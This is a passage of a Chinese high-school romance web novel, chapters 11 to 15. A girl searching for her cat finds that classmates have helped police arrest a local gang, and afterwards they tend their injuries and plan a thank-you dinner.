应琮打起十二分的精神,小心翼翼地走着。
令人不安的是,自从拐进来这条巷子后,她现在听不见猫的叫声。
发生了什么?
应琮不敢深思,只是一味加快脚步。
楼上的人家哐当哐当地炒起菜来,烧菜和吵架的声音掩盖了她想要听到的声音。
油烟味从他们敞开的窗户往外飘,白烟颤巍巍地暴露在空气中。
应琮被一股辣椒炒肉的刺激味道,呛得直咳嗽。
她伸手捂住自己的口鼻,脚步不停。
……
好不容易远离了那块“油烟重灾区”,应琮止住咳嗽。
选择的这条路很快也走到了尽头,看着自己面前两个巨大的黑色垃圾桶,她莫名有些疲累。
“咪咪,咪咪?”
应琮蹲下身子,试探性地叫着。
难道咪咪专门跑到这里,是为了抓老鼠吗?
裴奶奶受得了吗?
借助手电筒的光亮,她探头往垃圾桶下面看去,不放过任何蛛丝马迹。
没有,没有任何生物
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出来回应自己。
应琮泄气般的放下手机,却忽然注意到旁边的地板上,有什么东西在反光。
一张方方正正的,浅蓝色卡片。
该不会是谁的身份证拉下了吧?
她走过去,将卡片拾起。
?!
看到卡片上印着熟悉的照片和姓名,应琮的头脑瞬间“嗡”的一声,一片空白。
她怔怔地看着照片上身着白色衬衫短袖,一脸严肃的少年。
为什么……
裴少言的校园卡会丢在这里?
应琮下意识地抠了抠卡片,确认它并不是别人伪造出来的。
虽然她认识裴少言不过短短一年,但毕竟二人以前当过很长一段时间的同桌,在学校朝夕共处呆几乎十小时,多少也了解对方的秉性。
裴少言并不是一个粗心大意的人。
——他的校卡出现在这里,十分不寻常。
应琮紧张地扭头看了看自己的四周,别说裴少言了,一个人的身影都没有。
想到早上班长在教室里说的传闻,她不安地咬紧下唇。
“喵呜——”
感受到消失已久的叫声似乎距离自己很近,应琮抬起头来,发现自己操心许久的咪咪就蹲在不远处,正悠哉游哉地舔着手爪的毛。
“你跑到哪里去了?”
她心下一松,连忙冲过去,顾不得洁癖不洁癖,将咪咪抱在自己怀里。
咪咪乖巧地倚在她的脖颈,叫声变得柔软,似乎是在撒娇。
“笨猫,我找你找了很久……”
应琮感受着它的温度,声音有些低哑。
找到咪咪了,可她还是放不下揪心的感觉。
因为口袋里那张被主人遗失了的校园卡。
“裴少言不见了……”
她抱着咪咪,小声喃喃道。
闻言,咪咪却伸出肉垫拍拍她的脸,嗷呜嗷呜连声叫着。
不要闹了。
应琮有气无力地抬起头,却登时愣在了原地。
消失了的裴少言被人搀扶着,正缓缓从阴暗处走来。
他本就生的白,以至于此时脸上那一块红色被衬托得格外刺目。
再加上凌乱的头发和衣衫,怎么看都像是发生了什么。
“你……”
应琮迟疑地开口,在看清对方身边另一个人的脸时,瞬间又疑又惊。
“盛逸?你为什么在这里?”
她眉毛拧起,语气像质问一样不客气。
“什么?!”
没想到连应琮也跑到这个地方来,还来不及打个招呼,就听到这样的语气,盛逸有点点委屈。
见她来了,原本被搀扶的裴少言挣脱开对方的手臂,强撑着继续走路。
而落在应琮眼中,一个受了重伤连路都走不好,一个却安然无恙。
更何况盛逸这家伙和裴少言不像会有交集的样子。
她将咪咪放在一边,小步跑过去想要扶裴少言,还不忘狠狠另一个人剜了一眼。
“你对他做了什么?”
“拜托你搞搞清楚,”盛逸叫冤,“我也是被害人。”
应琮还是有些不信,扫过他身上。
哪有被害人的衣着打扮如此整洁?分明是贼喊捉贼。
“咦,应琮?你怎么也在这里?”
几人身后兀地传来另一个人的声音。
探头看去,竟然是丁一锐。
而他的身后,跟着几名民警以及十几名穿黑衣,蔫头耷脑的人。
这阵仗看起来有点吓人。
应琮有些不明白。
12. 第 12 章
“应琮?”
见她愣在原地,裴少言轻声呼唤。
“啊……”
应琮反应过来,小心翼翼地往他们身后再次看去。
警察叔叔抓住的那些黄毛,看起来比盛逸更像是会欺负人的。
既然如此,她还有什么不明白的。
“所以……”应琮转身又看看自己身后的咪咪,确认道,“你们是去帮他的吗?”
“当然了。”盛逸说。
每次他和应琮对话都有一种莫名的挫败感。
为什么对方总是把他想成坏人呢?
自己认识的人中,只有她这么警惕自己,真是让人无法不在意。
“说起来,这是你养的猫吗?”
丁一锐似乎是很有和小动物相处的经验,招手让咪咪过来然后给它闻闻手,眼神里充满赞许:“它真的很聪明,还会帮着一起打架。”
难怪都说黑猫有灵性。
“可能是有心灵感应吧。”应琮顺嘴道。
要不是因为这个臭猫忽然消失不见,自己也不会从家里跑出来,更加不会遇到他们三个。
至于是猫咪和人之间的心灵感应,还是亲人之间的心灵感应,就不好说了。
“哼,”盛逸在旁边冷笑一声,语气却透着幽怨,“我看猫倒是比主人强多了。”至少不会不分青红皂白地就给自己扣黑锅。
“……”
知道对方是在埋怨自己,应琮即使心里依旧不想承认自己的错,但还是没禁住脸上泛起薄红。
她犹豫几下,一句“对不起”还没说出口,就被打断。
“几位小同学,等下还要麻烦你们一起回局里做个笔录。”
一个警察走来,对着他们正色道。
多亏了眼前几个男生,才让他们一举拿下这个惹是生非、作恶多端的社会青年团伙。
“当然当然,”抱着猫猫的丁一锐是在场唯一有职务在身的高中生,便负担起了外交职责,冲着警察叔叔连连点头,“我们现在就一起过去。”
西街派出所距离这里不远,警察带着那群人走在前面,几人见状也准备跟上。
因为不好意思,应琮走到丁一锐的旁边,小声问着事情的起因和经过。
应琮一离开身边,裴少言像是突然能感知疼痛了一般按了按自己的胃部。
“别强撑着了,”看他一个人走得辛苦,盛逸一把抓住对方的手臂,不由分说道,“我扶你一把。”
他知道年级第一有包袱,不想在女孩儿面前表现出自己的脆弱,但现在并不是逞强的时候。
要是自己再去得晚一点,还不知道这块他们老师手心里的宝,会被那群人欺负成什么样子呢。
“不必,我现在已经好多了。”
裴少言拒绝道,动作和话语中都透露出一股倔强。
盛逸定定地看着他,只好作罢。
旁边的应琮专心致志地听着丁一锐绘声绘色的描述,本就提到嗓子眼的心一时半会儿更是咽不下去。
她白皙的小脸在灯光的映衬下,变得更加没有血色。
“应琮?”
注意到她的异常安静,盛逸和裴少言不约而同地转头看去。
*
一个小时前。
“住手!”
伴随着一声正义的怒喝,盛逸威风凛凛地出现在众人面前。
包围圈渐渐散开一个空隙,黑背心从里面走出来。
裴少言虽然不知道对方的名字,但看他身穿一中的校服,看起来也和自己年龄相仿,忽然松了一口气。
“又来一个白送的。”
见到他只是一个人,黑背心伸出小拇指掏掏自己的耳朵,完全没将盛逸放在眼里。
“是吗?”盛逸笑笑,“你们就是最近在西街惹事的人?”
“你们老大是谁?”
他的目光缓缓扫视一圈,最终落在黑背心的脸上。
“难道……是你?”
盛逸大方地露出自己的牙齿,笑得多少有些挑衅。
“怎么,你想见识一下吗?”见他明知故问,黑背心舔舔自己的嘴唇,估计是想要表现出阴森毒蛇的效果。但真实情况下,倒看起来略显滑稽。
滑稽归滑稽,他看向盛逸眼神中透露出的阴鸷,却令人无法忽略。
上一个敢这么挑衅自己的,已经被他们打进医院了。
他倒要会会这个不知天高地厚的小子。
黑背心的脸部肌肉微微颤抖,笑容中带着一丝残忍。
这里很安静,除了他们一行人外,没有其他的人再出现。
在路灯照不到的角落,是化不开的浓黑。
而街巷里,这样阴暗的角落有很多。
“我自然是想领教一下的,”盛逸趁黑背心沉浸在自己的演技里,悄悄给裴少言递去一个眼色,面上为难道,“但是呢……”
“别吞吞吐吐,说!”
见他欲言又止,黑背心突然怒喝一声,又像精神分裂一样笑着开口,话里蕴含无限深意,“不然,我怕你以后没有机会说了。”
“啊……”见他装X的姿态,盛逸挠挠自己的头发,一个没忍住便说出了口,“还真是会装模做样。”
不知道自己最烦装X的人吗?
话音未落,周围人的表情明显一变。
连素来没什么表情变化的裴少言,都忍不住皱了皱眉。
盛逸拖延时间的方式和他想象中不一样。
“别急着动手啊。”
见有几个小弟举起手上的家伙就要靠近,盛逸云淡风轻地摆了摆手,好似胸有成竹。
“你们自以为是西街的老大,”他又指了指自己,“而我大哥却觉得,你们还得往后稍一稍……”
“我看现在的时间也好,不如……”
盛逸和裴少言对视一眼后,猛地冲上前将他拉到自己的身边。
总算是让裴少言摆脱混混们的束缚了,盛逸原本紧绷的身体放松些,也有时间仔细观察现在的情况。
双拳难敌四手,更何况对面有足足十几个人,甚至有些还带了“装备”。
虽然现在他们两个暂时是脱离了开始的包围圈,可形势依然不算乐观。无论是贸然逃跑还是开口大声呼救,都有可能招惹来对方更加愤怒的攻击。
盛逸瞟了一眼旁边的人,学霸看起来就不像是能打的。
“如果真的打起来了,你就一个人先跑。”他低声嘱咐道。
不怕一万就怕万一,能动嘴拖延,还是不要动手为好。
毕竟他也留有后手。
盛逸夺人的动作发生得太快,黑背心和小弟压根就没有反应过来。
不过短短几秒的功夫,他们最开始想要勒索的对象就已经摆脱了自己的包围圈。
“不如就现在吧。”黑背心的眸里瞬间染上怒火。
啊哦,挑衅得太过火,对面真的生气了。
见对方脸色快跟锅底一样黑,盛逸不由得握紧自己的拳头。
来就来。
*
“幸好你报警了。”
即使只是听了丁一锐的描述,没有亲眼所见,应琮依然心有余悸。
“你别听他的了,”在一旁的盛逸爽朗道,“
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没那么夸张的。”
明明只是简单的打了一架,到了哥们嘴里就好像□□火拼、生死决斗一样。
那群人只是看起来吓人,实际并没有那么厉害,自己还没怎么发挥出实力呢,丁一锐和警察就赶来了。
只不过裴少言比较倒霉,在闪避的过程中,不小心被绊了下,磕到了自己的腿和脸。
应琮看他一眼,似乎想要说什么,又忍住了。
“说起来,”丁一锐抱着咪咪爱不释手,走路也不耽误他撸猫,“你家的猫还真厉害。那老大脸上的伤,全是它干的。”
像是能听懂他的夸奖般,黑猫无不骄傲地舔舔自己的爪子。
还真是一唱一和。
应琮有些无奈地转过头,看看一直没怎么出声的另一位。
幸好,除了他脸上的红痕外,裴少言看起来四肢俱全,没什么大碍。
“……这是你掉的。”
她把口袋里的校园卡递过去,尽量让自己的语气温和些。
“谢谢。”裴少言伸手接过,腕上鲜红的擦伤映入眼帘。
“你流血了?!”应琮小声惊呼。
“哪儿?让我看看。”
在另一边的盛逸一把抓过他的手,在路灯下认真地端详起来。
失策失策,没想到学霸皮这么脆。
早知道就应该让他直接跑路,可能安全系数还高些。
“没什么大事。”
面对三人紧张的神色,裴少言将自己的手抽回来。
“这样吧,”丁一锐提议道,“我去买点创可贴和药什么的。”
反正他只是一个报案人,做笔录的重点对象并不是自己。
“前面不远处有个药店,”应琮见裴少言回避自己的模样,莫名有些气闷,“我和你一起去吧。”
“你和我一起?”
“你和他一起?”
丁一锐和盛逸的语气怪得很一致。
为什么要在这里异口同声?
应琮奇怪地瞥了一眼二人。
“第一,我不需要去做笔录;第二,我的猫还在你的手上。”
她言简意赅地解释道,微微弯起的唇角透露出自己此刻内心的无语。
“不用这么麻烦,”裴少言看着应琮,“我家里有药,回去简单涂点就好了。”
“时候已经不早了,”他抬头看看天色,又对应琮认真道,“你不回家吗?”
“我……”
被他注视着,应琮咬唇不语。
他是不是觉得自己不应该出现在这里……
就这么排斥她?连和他第一次见面的盛逸和丁一锐他都肯让人家扶着,就她看一眼都不行。
“你们还是快点去买药吧!”
众人短暂的沉默中,盛逸忽然捂住自己的左肩,哼哧哼哧叫了起来,“我感觉自己刚刚也受了点内伤。”
“应琮,”好哥们夸张嚎叫的痛苦,丁一锐没法视而不见,他当机立断道,“你认识路,我们一起去吧!”
两人一猫朝着药店快步离开,派出所的牌子也近在咫尺。
“应琮一个女孩,独自回家不危险么?”
既然他们的身影已经走远,盛逸也不执著于去扶裴少言了。
他随意伸腿踩着路边的碎石块,像对着空气说话。原本还挂在脸上的痛苦之色,在应琮转身的瞬间便消失得无影无踪。
面对他的问题,裴少言没有开口,只一个人慢慢走进派出所。
盛逸轻轻将脚下的石块踢开,忍不住“啧”了出声。
同桌虽然人长得挺好看,眼光却不怎么样。
13. 第 13 章
因为报警及时,盛逸和裴少言二人并没有受到太大的伤害。
但这伙黄毛屡次骚扰周边青少年,警察早已关注多时了。
这下也是刚好警察在附近加强巡逻,才被丁一锐这么快就找到了。
警察叔叔们不仅十分给力地将趁机逃跑的几名嫌疑人都抓了回来,更是要与他们老账新账一起算。
“叔,他们会被关起来吗?”
结束问话后,盛逸冷不丁地开口道。
负责做笔录的警察低头,翻了翻自己手上的案件资料。
“他们有结伙殴打、伤害他人以及抢劫勒索的前科,肯定是要拘留的。”
他看向面前的两个少年,神情认真。
“如果他们放出来之后,我们会被报复吗?”盛逸又问,语气透着一丝不易察觉的紧张。
警察又着重瞅他一眼,他的孩子刚上小学,娃娃的眼睛就像盛逸的眼眸一样透亮。这一眼让他浑身正气骤升,叔叔郑重拍拍警章,表示决不允许那样的事发生。
裴少言敛目不语,刚刚面对歹徒还能开玩笑的人,到了警察面前反而害怕?
这个团伙是近日才出现在西街的,几次三番的勒索殴打事件,本应严肃处理;偏偏对方配合有度,几次抓捕都给顺利逃脱了,负责的警员也是有些上火。
既然已经将头目和组织里的小弟一网打尽,岂会有重蹈覆辙的道理。
看着眼前已初具成年人姿态的两名高中生,警察的目光欣慰又不失赞许。
要不是他们几个学生有勇有谋,配合默契,恐怕这一次还不能如此顺利地实行抓捕。
“你们今天立了大功了。”他伸出一个拇指,由衷道。
“不敢当不敢当,”盛逸连连摆手,开着玩笑,“要不是叔叔们来得及时,我们俩就变成他们的沙包了。”
也就只有这时,平安坐在警局里了才有心思调侃。
“我们是不是可以走了?”裴少言看看腕上的表,现在已经快九点钟了。
“当然,笔录已经结束了。”
警察起身,抬手示意门口的方向。
裴少言和盛逸对视一眼,不约而同地起身。
一路上,谁也没有开口说一句话。
*
“你们终于出来了。”
看到二人一前一后从房间里走出来,丁一锐立即迎上去。
应琮坐在大厅的椅子上,膝头放着他们刚买回来的一袋药。
咪咪乖巧趴在一边,不吵也不闹,像只玩偶猫猫,吸引了几名年轻警察的注意力。
“你们俩都赶紧坐下吧,我来上药。”
丁一锐将他俩摁在椅子上,一把挽起自己的袖子。
“我也帮忙吧。”应琮开口道。
两个人都挂了彩,刚好自己和班长一人负责一个伤患。
“可以啊,你来负责谁?”丁一锐想也不想道。
盛逸暗暗踩了他一脚。
真是笨蛋,这么显而易见的事情还要问!
校花和学霸之间的暧昧情愫,明明当初还是他告诉自己的。
现在又犯蠢了。
“哦对,”丁一锐火速反应过来,“你……”
“我给他上药吧。”应琮伸手指向盛逸,直截了当道,“就当是照顾一下同桌。”
她的声音清脆利落,成功让另外三个男生都愣住了。
盛逸下意识地瞄了瞄裴少言。
哇,学霸的表情比苍白的脸色还要淡。
“怎么了?”应琮看看三人,浅色的眸子里充满疑惑。
上个药而已,这个盛逸和丁一锐真是容易大惊小怪。
裴少言也真是的,平时不是扑克脸吗?
明明平时总是刻意和自己保持距离的人也是他……反正在外人看来,她和裴少言不过是普通的同学关系,那还不如给盛逸上药,倒显得他们同桌之间的关系没那么冷淡。
更何况自己刚刚还误会了盛逸,就当是给他赔礼好了。
“你哪里痛?”
应琮拆开止痛喷雾的塑料包装,靠近自己的同桌。
“呃……”盛逸将自己的领口扯了扯,头歪向一边,“应该是这里有点痛。”
应琮晃晃手上的喷雾瓶,认真地盯着他的脖颈。
“可能会有一点凉,你忍着点。”
身边的两个人已经开始动作,丁一锐也不好意思继续看戏。
虽然确实不明白应琮为什么放着整个年级都知道的,她的暧昧对象裴少言不选,跑去给才认识没几天的盛逸处理伤势。
但既然大家都没说什么,他也没必要多那两句嘴。
只不过……丁一锐偷看一眼学霸,对方倒是没有什么特别的神情。
难道,他和校花之间,结束了?
自己也没听说啊。
总不能是因为两个人现在分班了,一个楼上一个楼下,“异地恋”难以维系,所以才断了?
丁一锐心里胡乱猜测,却不耽误自己手上的动作。
他将创可贴小心地撕开,准备帮裴少言脸上的伤包扎。
“我自己来吧。”裴少言轻轻避开他的手。
“你知道伤口在哪里吗?”
丁一锐毫不在意,快速将创可贴递给他,动作里隐约带着恭敬,又给人手动导航定位:“在这里,你横着贴就行。”他指着自己的脸示意。
裴少言点点头,将自己脸上的红痕贴住。
“我记得你的手上也擦伤了,”丁一锐道,“需不需要喷点止痛剂?”
说罢,他转头看看应琮,什么意思不言而喻。
“刚好我们这边用好了,”应琮将止痛喷雾的盖子拧好才递过去,“喏,你用吧。”
“哦……谢谢了。”丁一锐迟疑地接过喷雾。
他本来还以为应琮会亲自过来帮忙……看来两个人之间是真的结束了?
抑制住心里的好奇和八卦,丁一锐颇为怜悯地看着裴少言。
“你,忍着点啊。”
裴少言手腕上被擦破的皮和下面红嫩的肉被扒开检查,看起来有些触目惊心,丁一锐光是在旁边帮忙处理伤势,也感觉自己莫名有点疼。
这看起来真有点严重了,不知道伤口会不会影响学霸正常的学习生活。
“创可贴会不会有些小?感觉需要缠纱布欸。”应琮在旁边轻轻提醒道。
闻言,丁一锐放下创可贴,一拍脑袋。
是啊,他怎么忘记了,应该在药店多买一卷医用纱布的。
直接贴创可贴的话,不仅无法完全包裹住伤口,可能还不利于裴少言的恢复。
他面对裴少言处理到一半的伤口,手足无措中更有些不好意思。
“派出所里或许会有药箱,”应琮起身,“我去看看能不能借到。”
她走得很快,快到没有人来得及制止,少女的身影便消失在大厅中。
三人你看看我,我看看你,又是一阵无言。
她的态度让丁一锐八卦得更加摸不着头脑了。
若说是感情破裂了,又何必这么关心裴少言呢?
不应该事不关己高高挂起吗?
可看裴少言的表情,似乎也没有意料到“前任”的举动。
他摸摸自己的下巴,表情耐人寻味。
难
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道说……
总不能是落花有意,流水无情吧?
*
不知为何,过了许久,应琮还没回来。
如果不是因为他们现在所在的地方是派出所,又有的紧张着急了。
咪咪从椅子上缓缓起来,左右望望,最终选择窝在裴少言的怀里。
“想不到它还挺……”黏你的。
丁一锐颇为酸溜溜,却在话说出口前及时打住。
自己抱了这只猫足足一路,却得不到丝毫偏爱。
而什么都没做的裴少言,就这么轻松俘获小猫的芳心。
不知道该说人比人气死人呢,还是应琮的猫也随主人?偏爱学霸这一款的?
还是说猫猫和他不是第一次见面?
“对了,”一阵头脑风暴,丁一锐简直想跪下来求自己不要再八卦了,开始没话找话道,“我们之间是不是还没有正式介绍过?”
他们三个怎么说也算得上一起“出生入死”,过命的交情了。
“我是6班的丁一锐。”
他拍拍自己,又推推坐在一边一直沉默不语的盛逸,示意对方开口。
盛逸并没有开口,他靠在椅背上,眼睛盯着地板的纹路。
丁一锐不可能让自己的话落在地上,见哥们不理睬,自然地又接道:“这是盛逸,我俩是一个班的。”
“刚刚也说了,”他指了指裴少言怀里的猫,“这是应琮的猫猫。”
关于应琮的事,你恐怕比我们还熟。
“我知道。”裴少言说。
就这么……简单?
裴少言说完这三个字后继续缄默,丁一锐无奈地抓抓自己的头发。
他们两个已经介绍完了,您不说点什么吗?
似乎是感受到他不时停落在自己身上的眼神,裴少言又不疾不须地开口。
“裴少言。你们似乎已经认识我了。”
丁一锐差点被空气呛到,干笑两声,打圆场道:“是是,我估计一中里,没有人不知道裴哥的名字。”
“她怎么还没回来?”难得沉默的盛逸终于开口了。
“应该快回来了吧。”丁一锐语气轻松,“我们就坐在派出所的大厅,如果应琮出去的话,必须要经过这里。”
没有比这里更安全的地方了,人肯定丢不了。
像是印证猜测一般,走廊上渐渐传来脚步声。
几人抬头看去,发现应琮两只手上都提着袋子,缓缓而来。
“要不要去帮忙提一下?”丁一锐小声嘀咕道。
话音未落,他旁边的两个人都已经起身走去。
好吧,就两个袋子,自己也没有必要去争了。
机会是留给有准备的人,他将被放在一边的咪咪心疼地抱在怀里。
两个伤患倒还争先恐后地比起来了,丁一锐心道是。
“袋子里没多少东西,”见到两个人都朝着自己走来,应琮面露无奈,“既然你们要拿,就拿上吧。”
她原本只是为了去借药品,没想到反而被几位年轻的警察哥姐拉住,追问了一些奇怪的问题,这才回来得这么慢。
一听是给刚刚打架受伤的同学借药,哥姐们还拿了几瓶水和一些面包,考虑得可谓是周全。
两个男生一人拿了一个袋子,分别走在她的两边。
似乎是为了照顾自己,两个人都刻意走得很慢,三个人几乎是走在同一条水平线上。
丁一锐在背后悠悠哼起小曲:“爱我还是他~”一句话八百个转音。
应琮顿时应激般回头:???
怎么和刚刚自己离开时,警察哥唱一样的词?
14. 第 14 章
应琮和裴少言是邻居自然一起走,恰巧另外两人要走的路和他们是反方向,四人便各自两两结伴回家。
当二人再次站在熟悉的小区门口时,已经九点多了。
应琮打了个哈欠,掏出口袋里的手机一看:十几通来自妈妈的未接来电。
糟糕,她认命般低下头,盯着脚下的影子一步一挪。
这么晚才回去,等下肯定要挨训。
“应琮!”
刚走到楼下,便听到熟悉的声音,却是直呼全名的版本。
“妈妈……”
自知理亏的应琮后退一步,悄悄躲在裴少言的身后。
“为什么不接电话!”应雨柔双手叉腰,气得身体微微颤抖,“差点把我急死!”
她不过丢个垃圾、买完东西回家,屋子里居然就空无一人。
虽然通过前一通电话可以大致推断女儿是出门找猫了,但一直等了好几个小时都不见踪影,应雨柔的心越提越高。
她等得焦灼难安,打过去的电话无一例外全都显示无人接听。
“阿姨,事出有因。”
裴少言主动上前一步挡在应琮前面。
“少言你受伤了?”
看到他脸上的创可贴,应雨柔注意力瞬间被转移。
女儿身上倒是干干净净,看不出有什么受伤痕迹,再看看小裴这个架势……该不会是为了保护应琮才受伤?
毕竟小裴平时就挺照顾应琮。
“喵喵。”
裴少言手上的咪咪适时软绵绵叫了一声,应雨柔才后知后觉:都是这个小家伙跑出去才导致两个孩子出去找的。
想不到小裴还是很热心的。
“妈妈,先回家吧。”
应琮一点一点挪出来,拉住她的手臂,“现在很晚了。”
没时间关心裴少言了,自己的作业还没写完呢。
女儿似乎不想她追问,应雨柔也只能任由自己被扯走,总归两个人和猫猫一起平安回家就好。
与此同时,另一边——
“怎么感觉你怪怪的?”
地铁上,丁一锐对着盛逸目露质疑。
一路上不仅没怎么理会自己,而且还一副若有所思的表情。
难道做笔录的时候,被警察叔叔的一番教育洗涤了灵魂吗?
“什么?”盛逸蹙眉,反问。
“你的表情很严肃,而且诡异的安静。”丁一锐撇撇嘴。
“夸张,”盛逸失笑,掂了掂手中的袋子,随口道,“我只是在思考,今天这些药的钱要怎么还给她。”
分别时,应琮特意将药品一分为二,一半给自己。
“应琮吗?”
丁一锐从口袋里掏出自己的手机在他眼前晃了晃,开朗道:“药钱我已经转给她了,你也没必要再还给我了。”
“什么?!”
盛逸这下反应很快,一秒从他手上抢过手机,“什么时候的事?”
这么大的事,为什么不一早通知他!
“从药店出来我们两个就加微信了。”丁一锐奇怪地看着他,补刀道,“你今天不是没带手机吗?”
“真是的……”盛逸小声懊恼。
早知今日,他肯定会带手机……主要是他也没有料到会发生今晚这样的情况。
“回去把她微信推我。”
好不容易平复好心情,盛逸清清嗓子。
“没必要吧哥,”丁一锐看他简直像外星人降临,“她都在咱们班的班群里了,你不能直接从群里加吗?”
还让自己推,多此一举。
“也是。”盛逸站直身子,左右轻轻歪了歪脖子,状似无意道,“没想到药还挺管用的。”
不知道是不是自己的心理作用,原本肩颈处的酸痛,此刻消失得无影无踪。
“那当然,我们专门选了店里最贵的一款药,说是立竿见影,马上见效。”丁一锐接道。
盛逸笑笑,看着电子屏上的站名。
“我下车了啊。”
他单手提着自己的书包,冲身后摆了摆手,伴随着同样晚归的人们,走出车厢。
*
虽然作业依然没有写完,但回到家的应琮反倒轻松下来。
怕什么,就算是轻舟已撞大冰山,按照自己的性格,也要先拍个照再说。
听完今晚发生的事情,应女士心疼得不行,立刻钻进厨房说要给她煲个安神汤。
几次劝说无果,应琮只好随她去了。
睡前一碗汤,赛过活神仙。
“你去洗澡吧,等洗完,汤差不多就好了。”
见她站在自己旁边心不在焉的样子,正在处理食材的应雨柔头也不抬道。
“作业今晚写不完就别写了,发生这么大的事情,相信你的老师们也会体谅。大不了我发个信息给你们班主任说明一下情况。”
“哦。”应琮乖乖照办。
好像回到了之前读初中的感觉怎么说?
霸道妈妈带着我躺平。
洗完澡后,应琮包着半干不湿的头发回到房间,抽空拿起手机看看。
【“Business”申请加您为好友。】
【我是盛逸,同桌赏个脸通过一下:)】
连续两条好友申请,明显来自于同一个人之手。
要干嘛?
应琮顿了顿,还是通过了。
“?”
“没什么事情,就是问问你有没有平安到家。”
另一边的盛逸几乎是秒回。
原来是为了问这个,应琮客气地回道:“到家了。”
“感觉今天的作业要写不完了。”
“明天早上我能不能抄你的数学作业?”
盛逸自说自话地发来两条信息。
还挺厚脸皮的……应琮停顿片刻,露出今晚的第一个笑脸。
“不好意思,老师说了,上竞赛课的期间可以不用写数学作业。”
“爱莫能助。”
虽然被拒绝,屏幕那头的盛逸却没有多少沮丧,反倒笑笑。
比起现实生活中不爱理人的模样好多了。
他又点开应琮的微信头像,图片是一只卡通黑猫,尾巴翘得很高,看起来倨傲又不失可爱。
果然是个爱猫人士。
*
即使昨天经历了如此惊心动魄的事情,第二天,太阳照常升起,学还是照样要上。
因为睡得晚,应琮今早起床的心情不是很美妙。
尤其是自来卷的头发,也在跟她闹变扭。
眼看就要到自己出门的时间,可头发还是有些乱糟糟的,无论怎么梳都理不顺。
应琮无奈,只好用力将头发扭成一股,在头顶上盘成一个不怎么圆的丸子头。
可对着镜子,她左看右看,还是有些不太满意。
“宝贝,”应雨柔走过来,递过来一个智能手机,“你今天带着手机去学校吧。”
毕竟安全第一,校规什么的都可以往后稍稍。
“啊?”应琮放下手,一脸乖巧,“可以吗?”
“我已经和你们许老师说好了,你到学校就把手机给她,放学了再拿回来。”
“OK。”应琮将手机放进自己的口袋,顾不得和她作对的头发,起身便准备出门。
“等等,妈妈还有一件事要叮嘱你。”
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应雨柔叫住她,面上微微一笑。
“什么事?”应琮坐在玄关口,低头穿鞋。
“今天刚好是周五,你们放学早。”应雨柔将装好的早餐袋子递过去,“顺便请少言他们三个吃个饭吧。”
“?!!”应琮单挑起一侧眉,“为什么要请他们吃饭?”
“这话说的,人家昨晚帮忙把西街那群小混混给抓起来了。”
应雨柔不知道从哪学来的人情世故,“不应该为他们开个庆功宴吗?”
抓住小混混的分明是警察叔叔,应琮腹诽道,为什么是自己出钱开庆功宴。
“再说了,也得给你们收收惊。”应雨柔又道,“你们几个不都是同学?一起吃个饭有什么不好。”
“可是……”应琮边准备出门,边想找借口婉拒。
“别可是了,今晚妈妈也不想做饭。”应雨柔打断她,语气不容置疑。
应琮忍气吞声地出了门。
算了,玩下智能手机。
打开微信一看,体贴的应女士给自己转了足足六百块。
四个人哪里吃得了那么多?
那没事了,自己勉为其难赚点辛苦费吧。
*
周五,按照惯例不用下楼做操,所以有一个足足半小时的大课间。
应琮托腮坐在位置上,思考着自己应该如何开口。
“CC~”
后门有人轻轻叫她。
“依依,你怎么下来了?”
应琮小步跑过去,露出只有程依依面前才有的好脸色。
“我专门下来上厕所的,”程依依嘿嘿一笑,“楼上的女洗手间正大排长龙呢。”
楼下就没有这种苦恼,就算自己慢悠悠地走下来,女厕也是空的。
“你们那里女生多,这也是难免的。”
应琮挽着她,两个人沿着走廊漫无目的地散步。
明媚的阳光照射在教学楼上,无论是赤红的墙砖还是透明的玻璃窗,都笼罩着一层白光,令人有些睁不开眼睛。
“对了,你放学之后有事吗?”
应琮背靠在楼梯口的栏杆,看向依依。
“没事呀。”程依依抬手挡住刺眼的阳光,“你要约我逛街?”
应琮将请客吃饭的事情一五一十地告诉她。
自己和三个男生一起去吃饭,多少有些引人注目。
要是再多依依一个女生,应该就没那么奇怪了。
看出她的为难,程依依爽快地答应一起吃饭的请求。
“但是……”她伸手捏捏应琮的丸子头,“你已经邀请他们了吗?”
自己参加是无所谓,但好友毕竟是校花,难免会有些少女难以放下的身段与高傲。
“……还不知道怎么开口呢。”
应琮捂额,根本就笑不出来。
盛逸和丁一锐是好朋友,邀请了他,另一个人应该也会一起来。
而盛逸作为自己的同桌,其实上午有许多机会都可以开口跟他说,但自己就是怎么也张不开口。
至于裴少言,那就更难开口了。
无论怎么在脑袋里组织语言,应琮都感觉力不从心。
“这简单。”程依依给她出主意道:“你跟同班的那两个说,裴少言已经答应了你的邀请;再和楼下的说,这两个已经答应了。这样一来,他们应该都会来的。”
毕竟是校花本人出面邀请,哪怕是随便说说,这些男生应该也会来吧?
“这能行吗?”
应琮眼中充满怀疑。
左瞒右瞒的,他们有这么好骗吗?
“肯定行!”
程依依拍拍胸脯,向她打包票。
15. 第 15 章
目送依依上楼后,应琮思忖片刻,先回了自己的班。
先从成功率高的开始吧。
她踱到正坐在座位上奋笔疾书补作业的同桌旁边,试探道:“盛逸?”
“女娲补天中,有事请留言。”
盛逸已然陷入数学作业的漩涡,头都没空抬一下。
应琮脸皮薄,在他跟前站了三秒钟就觉得有人的眼神看过来了,索性眼一闭心一横,直接说出口:“放学之后,要不要一起吃饭?”
“吃啥?我和你?”
盛逸吓得笔瞬间停住了。
“不止,”应琮否认得飞快,“还有丁一锐和裴少言他们,外加我的朋友程依依,你也见过的。”
反正大家都不熟,要尴尬也不止她一人尴尬。
“哦,那他们都答应了吗?”
盛逸继续写题,语气平平,似乎与他无关,随口一问。
“丁一锐那边我还没有去问过……”应琮跟着程依依现学现卖了故作玄虚的语气。
听在盛逸耳朵里,就是在心虚似的。
他将手上的作业本一盖,推到角落里。
“哦,裴少言同意了是吧。”盛逸瞥了一眼应琮,眼底情绪复杂。
怎么感觉他像在生气?
应琮不明所以,但还是按照好友事先说的那样点点头。
其实她根本没下楼。
“那我们也同意。”盛逸直接道,连带着丁一锐的那份也痛快答应了。
Yes!计划通!
“那我们放学在大门口见面哦。”
应琮少见的对同桌露出笑脸。
盛逸见状,心中颇为恨铁不成钢地暗叹:同桌真是恋爱脑,为了和裴少言吃饭,不惜邀请三个陪衬。
过分的是,上次据他上次观察,应琮还是剃头担子一头热。
明明上次两人吵架冷战了,眼看男的还没什么行动,她这又兴高采烈邀上饭了。
哪有让女孩单方面主动的爱情?
笨呐!
*
那边应琮觉得自己聪明绝顶了。
程依依说的果然分毫不差。
应琮一开口说“吃饭”,就顺嘴秃噜出来“上次的两个同学也会一起去”。
